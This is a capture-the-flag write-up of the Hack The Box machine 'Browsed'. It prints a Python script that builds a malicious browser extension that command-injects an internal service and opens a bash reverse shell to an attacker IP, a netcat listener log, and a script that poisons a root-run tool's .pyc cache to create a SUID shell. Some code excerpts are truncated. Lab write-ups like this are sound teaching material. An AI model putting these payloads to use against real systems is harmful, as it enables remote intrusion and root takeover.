Browsed is a medium-difficulty Hack The Box machine that starts with a web application allowing browser extension uploads. By crafting a malicious Manifest V3 extension that triggers a command injection against an internal service, we obtain a reverse shell as larry. Privilege escalation abuses a sudo-permitted Python tool by poisoning its .pyc bytecode cache, allowing arbitrary code execution as root.
Browsed-info-card
Reconnaissance
We start with a port scan to identify the exposed services.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA) |_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Browsed Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two ports open — SSH on 22 and nginx on 80 serving a web application titled Browsed.
Web Enumeration
Navigating to the web application, we find an upload functionality at /upload.php that accepts browser extension packages (.zip files). This is interesting — the application appears to process uploaded extensions server-side, likely loading them into a headless browser environment.
An internal service is also running on 127.0.0.1:5000, which we can infer from the application’s behavior. The key insight here is that a Manifest V3 extension with a background.js service worker can make requests to localhost — and if the internal service is vulnerable to command injection through its URL parameters, we can leverage the extension upload to achieve remote code execution.
Foothold — Malicious Browser Extension
We craft a Python script that generates a weaponized browser extension. The extension’s background.js service worker sends fetch requests to the internal service at 127.0.0.1:5000, injecting a base64-encoded reverse shell payload through the URL path.
# 1. The Reverse Shell One-Liner (Standard Bash) # We encode it to avoid breaking the JSON or the URL string raw_shell = f"bash -i >& /dev/tcp/{my_ip}/{my_port} 0>&1" b64_shell = base64.b64encode(raw_shell.encode()).decode()
# This is the payload that will be executed on the server # It decodes itself and pipes into bash shell_payload = f"echo${{IFS}}{b64_shell}|base64${{IFS}}-d|bash"
# 3. background.js # We will try both the routine path and a potential root injection background = f''' const ip = "{my_ip}"; const payload = "{shell_payload}";
// We send it via a background loop to ensure it fires async function triggerShell() {{ const urls = [ `http://127.0.0.1:5000/routines/a[$(${{payload}})]`, `http://127.0.0.1:5000/routines/a';${{payload}} #` ];
for (const url of urls) {{ fetch(url, {{ mode: 'no-cors' }}); }} }}
triggerShell(); '''
with zipfile.ZipFile(zip_buffer, 'a', zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr("manifest.json", manifest) zip_file.writestr("background.js", background)
with open("shell_exploit.zip", "wb") as f: f.write(zip_buffer.getvalue())
if __name__ == "__main__": # Change this to your HTB Tun0 IP create_shell_extension("10.10.16.8", "9001")
The script creates a zip archive containing two files:
manifest.json — A valid Manifest V3 configuration with host_permissions granting access to 127.0.0.1 and localhost.
background.js — The service worker that fires fetch requests to the internal /routines endpoint, attempting both $() command substitution and '; shell injection in the URL path.
The reverse shell payload uses ${IFS} as a space substitute to avoid breaking the URL structure, and base64 encoding to wrap the actual bash -i reverse shell.
We upload shell_exploit.zip through the upload form and catch the callback on our listener.
$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.8] from (UNKNOWN) [10.129.96.96] 60644 bash: cannot set terminal process group (1444): Inappropriate ioctl for device bash: no job control in this shell larry@browsed:~/markdownPreview$ id id uid=1000(larry) gid=1000(larry) groups=1000(larry) larry@browsed:~/markdownPreview$ cd cd larry@browsed:~$ ls ls markdownPreview user.txt larry@browsed:~$ cat user.txt cat user.txt 32a1d9cbe4fb5eec27c376b38b34ce9f larry@browsed:~$
We land as larry and grab the user flag.
Privilege Escalation
Checking sudo permissions reveals that larry can run /opt/extensiontool/extension_tool.py as root without a password.
larry@browsed:~$ sudo -l sudo -l Matching Defaults entries for larry on browsed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed: (root) NOPASSWD: /opt/extensiontool/extension_tool.py larry@browsed:~$ cat /opt/extensiontool/extension_tool.py cat /opt/extensiontool/extension_tool.py #!/usr/bin/python3.12 import json import os from argparse import ArgumentParser from extension_utils import validate_manifest, clean_temp_files import zipfile
EXTENSION_DIR = '/opt/extensiontool/extensions/'
def bump_version(data, path, level='patch'): version = data["version"] major, minor, patch = map(int, version.split('.')) if level == 'major': major += 1 minor = patch = 0 elif level == 'minor': minor += 1 patch = 0 else: patch += 1
with open(path, 'w', encoding='utf-8') as f: json.dump(data, f, indent=2)
print(f"[+] Version bumped to {new_version}") return new_version
def package_extension(source_dir, output_file): temp_dir = '/opt/extensiontool/temp' if not os.path.exists(temp_dir): os.mkdir(temp_dir) output_file = os.path.basename(output_file) with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf: for foldername, subfolders, filenames in os.walk(source_dir): for filename in filenames: filepath = os.path.join(foldername, filename) arcname = os.path.relpath(filepath, source_dir) zipf.write(filepath, arcname) print(f"[+] Extension packaged as {temp_dir}/{output_file}")
def main(): parser = ArgumentParser(description="Validate, bump version, and package a browser extension.") parser.add_argument('--ext', type=str, default='.', help='Which extension to load') parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type') parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name') parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
args = parser.parse_args()
if args.clean: clean_temp_files(args.clean)
args.ext = os.path.basename(args.ext) if not (args.ext in os.listdir(EXTENSION_DIR)): print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}") exit(1)
# Possibly bump version if (args.bump): bump_version(manifest_data, manifest_path, args.bump) else: print('[-] Skipping version bumping')
# Package the extension if (args.zip): package_extension(extension_path, args.zip) else: print('[-] Skipping packaging')
if __name__ == '__main__': main() larry@browsed:~$
Looking at the script, it imports validate_manifest and clean_temp_files from extension_utils — a local module in /opt/extensiontool/. The script itself is locked down, but the key vulnerability lies in how Python resolves imports.
Abusing .pyc Bytecode Cache
Python caches compiled bytecode in __pycache__/ directories. When a .pyc file exists and its metadata (source file size and timestamp) matches the original .py source, Python loads the cached bytecode without re-reading the source file. This means if we can overwrite extension_utils.cpython-312.pyc with a malicious compiled module — while preserving the original source file’s size and timestamp in the .pyc header — Python will execute our code instead.
We craft an exploit that compiles a malicious extension_utils.py replacement, carefully matching the original file’s size with comment padding and syncing timestamps so the .pyc header passes validation.
# Create the exploit script in /tmp cat << 'EOF' > /tmp/exploit.py import os import py_compile import shutil import sys
ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py" MALICIOUS_SRC = "/tmp/extension_utils.py" # Fixed the path to __pycache__ based on your previous 'ls' TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
stat = os.stat(ORIGINAL_SRC) target_size = stat.st_size
# The payload that will execute as root payload = 'import os\ndef validate_manifest(path): os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); return {}\ndef clean_temp_files(arg): pass\n'
# Padding with comments to match the exact size of the original file padding_needed = target_size - len(payload) payload += "#" * padding_needed
with open(MALICIOUS_SRC, "w") as f: f.write(payload)
The sudo command runs extension_tool.py as root, which imports the poisoned extension_utils module from the .pyc cache. Our validate_manifest function executes, creating the SUID bash binary. Running /tmp/rootbash -p gives us an effective root shell, and we grab the root flag.
That was it for Browsed, hope you learned something new!